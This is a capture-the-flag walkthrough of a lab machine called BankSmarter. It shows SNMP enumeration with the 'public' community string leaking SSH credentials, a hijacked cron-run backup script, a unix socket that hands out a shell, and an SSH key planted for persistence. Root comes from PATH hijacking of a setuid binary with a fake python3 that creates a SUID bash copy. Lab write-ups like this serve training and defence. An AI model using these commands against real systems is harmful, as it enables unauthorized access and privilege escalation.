Overview

The machine starts by snmp enumeration with the public community string that leaks credentials for layne.stanley, gaining ssh access to retrieve the user flag and finding a writable backup script executed as scott.weiland to get shell as scott.weiland, connecting via a unix domain socket in /opt/bank to get shell as ronnie.stone and hijacking PATH through a suid binary that calls python3 via env to get shell as root.

Enumeration

Starting with nmap scan:

Looking at the nmap results, we don't have a lot of open ports, only a single one which is SSH. Having no credentials, that seems weird, so let's do a full scan instead.

Doing a full TCP scan still shows only SSH, but we do have UDP.

Scanning UDP shows that SNMP is open and accessible.

bash
┌─[]─[10.200.87.32]─[jimmex@attacker]─[~/HSM/BankSmarter]
└──╼ [★]$ udpx -t 10.1.141.85

        __  ______  ____ _  __
        / / / / __ \/ __ \ | / /
       / / / / / / / /_/ /   /
      / /_/ / /_/ / ____/ |
      \____/_____/_/ /_/|_|
          v1.0.7, by @nullt3r

2026/08/27 09:59:05 [+] Starting UDP scan on 1 target(s)
2026/08/27 09:59:14 [*] 10.1.141.85:161 (snmp)
2026/08/27 09:59:27 [+] Scan completed

SNMP (Simple Network Management Protocol) is a protocol used to monitor and manage network devices such as routers, switches, printers, and servers. It runs primarily over UDP, typically on port 161 for standard queries and port 162 for traps (unsolicited alerts sent from a device to a management station).

Devices running SNMP expose data through a structure called the MIB (Management Information Base), which organizes information into a tree of OIDs (Object Identifiers). Each OID maps to a specific piece of data, such as system uptime, interface statistics, running processes, or installed software.

Access to this data is controlled by community strings, which function like weak passwords. SNMP has three main versions:

  • SNMPv1: the original version, uses plaintext community strings, no encryption.
  • SNMPv2c: adds some functional improvements but still relies on plaintext community strings.
  • SNMPv3: introduces proper authentication and encryption, addressing the security weaknesses of v1 and v2c.

If the credentials are the default, which are public for read and private for read/write, this is huge. If an attacker can query a device with a valid community string, they can often enumerate significant amounts of internal information, including usernames, running services, network configuration, and sometimes even credentials, depending on what the device exposes through its MIB.

Trying the community string public actually worked, and you can see we enumerate the OIDs. As you can see, we get credentials for the user Layne.Stanley:

Shell as Layne.Stanley

Trying the password we got, we can see that the creds are valid and we're logged in:

We read the user flag:

bash
layne.stanley@ip-10-1-141-85:~$ cat user.txt 
R29vZCBKb2IgRW51bWVyYXRpbmdscyAtbGEhIEtlZXAgaXQgdXAK
layne.stanley@ip-10-1-141-85:~$

Shell as scott.weiland

Looking at the user's home directory, we find a weird custom script:

bash
layne.stanley@ip-10-1-141-85:~$ ls -la
total 44
drwxrwxrwx 5 layne.stanley layne.stanley 4096 Sep 15 2025 .
drwxr-xr-x 6 root root 4096 Sep 12 2025 ..
---------- 1 layne.stanley layne.stanley 0 Sep 12 2025 .bash_history
-rw-r--r-- 1 layne.stanley layne.stanley 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 layne.stanley layne.stanley 3771 Mar 31 2024 .bashrc
drwx------ 2 layne.stanley layne.stanley 4096 Sep 12 2025 .cache
drwxrwxr-x 3 layne.stanley layne.stanley 4096 Sep 12 2025 .local
-rw-r--r-- 1 layne.stanley layne.stanley 807 Mar 31 2024 .profile
drwx------ 2 layne.stanley layne.stanley 4096 Sep 12 2025 .ssh
-rw------- 1 layne.stanley layne.stanley 896 Sep 12 2025 .viminfo
-rwxr-xr-x 1 scott.weiland scott.weiland 2937 Sep 12 2025 bankSmarter_backup.sh
-rw-rw-r-- 1 layne.stanley layne.stanley 53 Sep 12 2025 user.txt

This is the script /home/layne.stanley/bankSmarter_backup.sh. When executed, it tells us that we don't have access over the /etc/ to write; the folder needs to be written, so I decided to run pspy64 to know exactly what is going on.

When running pspy, this process popped up even before running the script, and it is running with the UID 1002, but we're uid=1001(layne.stanley) gid=1001(layne.stanley) groups=1001(layne.stanley), so it means there is another user or a scheduled task that is running the command /bin/sh -c bash <SCRIPT_ABSOLUTE_PATH>, and we own the home directory, meaning we can overwrite that script with whatever we need; it'll get executed in the context of the user UID 1002.

So we write the script file with a remote shell back to our host and wait till it fires again, and we get a shell as scott.

Shell as ronnie.stone

Earlier when enumerating, I found the directory /opt/bank that is owned by the group bank-team, and I was waiting for a user within that group to read that directory, and now because we are part of that group, let's do that:

bash
scott.weiland@ip-10-1-141-85:~$ groups
scott.weiland ronnie.stone tmuxshare tmuxusers tmuxshared bank-team
scott.weiland@ip-10-1-141-85:~$

The folder has what looks like tmux customized scripts, and based on the file names pty_server.py and the sockets folder, I feel like one of those files is running a tmux session that exposes a socket we can connect to, but let's read it first:

bash
scott.weiland@ip-10-1-141-85:/opt/bank$ ls -la
total 24
drwxr-x--- 4 root bank-team 4096 Sep 12 2025 .
drwxr-xr-x 3 root root 4096 Sep 12 2025 ..
drwxr-xr-x 2 root root 4096 Sep 12 2025 logs
-rwxr-x--- 1 ronnie.stone bank-team 1369 Sep 12 2025 pty_server.py
drwxrws--- 2 ronnie.stone bank-team 4096 Aug 27 13:05 sockets
-rwxr-xr-x 1 ronnie.stone ronnie.stone 1668 Sep 12 2025 start_ronnie_tmux.sh
scott.weiland@ip-10-1-141-85:/opt/bank$

Looking at this script, it first creates a socket owned by the user ronnie, and it starts a listener on that socket that keeps listening by the while True condition, and whoever connects to that socket gets a fork of /bin/bash:

Meaning if we can connect to that socket live.sock, we'll get a shell as the user ronnie

Connecting to that socket, as you can see, we get a shell as ronnie.stone:

bash
scott.weiland@ip-10-1-141-85:/opt/bank$ socat - UNIX-CONNECT:/opt/bank/sockets/live.sock
ronnie.stone@ip-10-1-141-85:/opt/bank$ whoami
whoami
ronnie.stone
ronnie.stone@ip-10-1-141-85:/opt/bank$

Because this shell isn't fully PTY and we can drop SSH keys, so let's do that instead to get a better shell.

First, generate the key pair:

bash
┌─[]─[10.200.87.32]─[jimmex@attacker]─[~/HSM/BankSmarter]
└──╼ [★]$ ssh-keygen -t ed25519 -f ./id
Generating public/private ed25519 key pair.
Enter passphrase for "./id" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id
Your public key has been saved in ./id.pub
The key fingerprint is:
SHA256:B7kJQhVsJKvJgEMLWbzvoVVPQCl3bew/lWEcmJnVA04 jimmex@attacker
The key's randomart image is:
+--[ED25519 256]--+
| .=. o==o o E+o |
| = o..o* ..+ B +..|
| +. .o+.ooo o o.|
| +.o ....+. o |
| +. . oS .. . |
| + .. o |
| + . . |
| . . |
| |
+----[SHA256]-----+

Copy the public key:

bash
┌─[]─[10.200.87.32]─[jimmex@attacker]─[~/HSM/BankSmarter]
└──╼ [★]$ cat id.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPy6ssoYlzc0S+YkJajWA6q8odmxy4CPooqzqHqkvYtL jimmex@attacker

And drop it under the ronnie.stone .ssh directory:

bash
ronnie.stone@ip-10-1-141-85:/opt$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPy6ssoYlzc0S+YkJajWA6q8odmxy4CPooqzqHqkvYtL jimmex@attacker' > /home/ronnie.stone/.ssh/authorized_keys
< attacker' > /home/ronnie.stone/.ssh/authorized_keys
ronnie.stone@ip-10-1-141-85:/opt$ chmod 600 /home/ronnie.stone/.ssh/authorized_keys
< $ chmod 600 /home/ronnie.stone/.ssh/authorized_keys
ronnie.stone@ip-10-1-141-85:/opt$

Now we can get a valid SSH session as ronnie:

Shell as root

First thing I did after getting the shell was I read the groups I am in; one of those groups is the bankers group, which we weren't part of as scott or layne, so this must mean something:

bash
ronnie.stone bankers tmuxshare tmuxusers tmuxshared bank-team
ronnie.stone@ip-10-1-141-85:~$

First, I will look for the files owned by that group, and it is a single file which is this bank_backupd script under /usr/local/bin:

bash
ronnie.stone@ip-10-1-141-85:~$ find / -type f -group bankers 2>/dev/null
/usr/local/bin/bank_backupd

Trying to find what kind of file it is, it is a binary executable file (not an ASCII code or something), and it has the setuid set on it:

bash
ronnie.stone@ip-10-1-141-85:~$ file /usr/local/bin/bank_backupd
/usr/local/bin/bank_backupd: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e8eb16ddc780ae87c7dc41989bdfd60e407db0d2, for GNU/Linux 3.2.0, not stripped
ronnie.stone@ip-10-1-141-85:~$

And the file is owned by the root user, so there is a good chance this script might get us the root user:

bash
ronnie.stone@ip-10-1-141-85:~$ ls -la $(which bank_backupd)
-rwsr-x--- 1 root bankers 16192 Sep 12 2025 /usr/local/bin/bank_backupd
ronnie.stone@ip-10-1-141-85:~$

Running the script, it looks like it is just a wrapper that calls another file bank_backup.py:

bash
[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backupd] Connecting to central ledger...
[bank_backupd] Verifying transaction logs...
[bank_backup.py] Running internal Python verification...
[bank_backup.py] Hashing account transactions...
86d9050926fde112924e2f71ea8d17b88d90068f39c9907bb3932c2df3c46dfc
[bank_backup.py] Backup completed successfully.

And the file exists under the same path, so what we need to know now is how this file is called from within the backupd binary, because there are two different ways to be called:

  • either by using python3 <script_path> then we'll have to find a way to hijack the python3 binary itself
  • or it is running as <script_absolute_path> directly with the shebang #! /usr/bin/python3 means there is nothing we can do
  • or it is running <script_name> which will look eventually for the PATH so we'll hijack the same way but a different file
bash
ronnie.stone@ip-10-1-141-85:~$ which bank_backup.py 
/usr/local/bin/bank_backup.py

We can decide that by doing strace on the file while it is running.

And as you can see, it is running as python3, meaning it looks for the python3 command in the PATH chain starting from the first one on the left to the right. As you can see, it doesn't find it under /usr/local/sbin, so it moves to the /usr/local/bin, and it doesn't find it also, so it keeps going down the list till it finds it:

And the PATH variable is the variable that decides that order of searching:

bash
ronnie.stone@ip-10-1-141-85:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

First, I try to look if we can write over any of the directories before the /usr/bin, but we can't:

bash
ronnie.stone@ip-10-1-141-85:~$ ls -la /usr/local/sbin/
total 8
drwxr-xr-x 2 root root 4096 Sep 12 2025 .
drwxr-xr-x 10 root root 4096 Sep 12 2025 ..
ronnie.stone@ip-10-1-141-85:~$

So where does that leave us? Instead of writing in any directory in that PATH list, we'll write in any folder we have access over, then we'll append it at the start of that PATH variable. That way, we make sure our file is always called first.

So what we'll do:

  • We'll create a file called python3 in any directory with any code we need inside it
  • Add its path to that PATH variable
  • Run the script again (which runs with suid as root)
  • It starts searching for python3 so it finds our file first, calling it executes whatever code we put there as root

Now we just write a script that copies the bash binary and sets SUID on it so we can run it as root later:

bash
ronnie.stone@ip-10-1-141-85:~$ cat /tmp/pwned/python3 
cp /bin/bash /tmp/pwned/rooted
chmod +s /tmp/pwned/rooted

Then make this file executable:

bash
ronnie.stone@ip-10-1-141-85:~$ chmod +x /tmp/pwned/python3  

Then we add the /tmp/pwned to the PATH variable at the start of it:

bash
ronnie.stone@ip-10-1-141-85:~$ export PATH=/tmp/pwned:$PATH

Now if we validate the PATH variable, it starts with the pwned directory:

bash
ronnie.stone@ip-10-1-141-85:~$ echo $PATH
/tmp/pwned:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Now if we did this test of the trace again, we'll see that it stops right after the /tmp/pwned/python3, meaning it reaches our binary instead of the original one and it is executed:

bash
ronnie.stone@ip-10-1-141-85:~$ strace -f -e trace=execve,stat,openat /usr/local/bin/bank_backupd 2>&1 | grep -E 'python|bank_backup'
execve("/usr/local/bin/bank_backupd", ["/usr/local/bin/bank_backupd"], 0x7fff23bd27a8 /* 31 vars */) = 0
execve("/bin/env", ["/bin/env", "python3", "/usr/local/bin/bank_backup.py"], 0x7ffddd371bc8 /* 31 vars */) = 0
execve("/tmp/pwned/python3", ["python3", "/usr/local/bin/bank_backup.py" ], 0x7ffe77abb5b8 /* 31 vars */) = -1 ENOEXEC (Exec format error)
execve("/bin/sh", ["/bin/sh", "/tmp/pwned/python3", "/usr/local/bin/bank_backup.py"], 0x7ffe77abb5b8 /* 31 vars */) = 0
openat(AT_FDCWD, "/tmp/pwned/python3", O_RDONLY) = 3

Just a side note, even though we just executed it with strace, it won't work because the process wasn't started from bash but it was started by strace which was run as ronnie.stone (because the SUID was stripped because the original one didn't have them, to my understanding).

bash
ronnie.stone@ip-10-1-141-85:~$ ls -la /tmp/pwned/
total 1428
drwxrwxr-x 2 ronnie.stone ronnie.stone 4096 Aug 27 17:43 .
drwxrwxrwt 14 root root 4096 Aug 27 17:33 ..
-rwxrwxr-x 1 ronnie.stone ronnie.stone 58 Aug 27 17:38 python3
-rwsr-sr-x 1 ronnie.stone ronnie.stone 1446024 Aug 27 17:43 rooted

Anyway, if we run the binary now normally, we'll see right after that the rooted file is owned by root and it has the SUID set on it:

bash
ronnie.stone@ip-10-1-141-85:~$ /usr/local/bin/bank_backupd
[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backupd] Connecting to central ledger...
[bank_backupd] Verifying transaction logs...
ronnie.stone@ip-10-1-141-85:~$ ls -la /tmp/pwned/
total 1428
drwxrwxr-x 2 ronnie.stone ronnie.stone 4096 Aug 27 17:43 .
drwxrwxrwt 14 root root 4096 Aug 27 17:33 ..
-rwxrwxr-x 1 ronnie.stone ronnie.stone 58 Aug 27 17:38 python3
-rwsr-sr-x 1 root root 1446024 Aug 27 17:43 rooted

So we just run it using the -p to maintain the privilege of the file instead of dropping it, and we get a shell as root where we can read the flag:

bash
ronnie.stone@ip-10-1-141-85:~$ /tmp/pwned/rooted -p
rooted-5.2# whoami
root
rooted-5.2# cat /root/root.txt 
VGhhbmtzIGZvciBkb2luZyB0aGUgbWFjaGluZSwgaXQgZG9lcyBtZWFuIGEgbG90LCBsZXQgbWUga25vdyB3aGF0IHlvdSB0aGluawo=
rooted-5.2# exit
exit

Path

that's the path we took Pasted image 20260827210253.png

Resources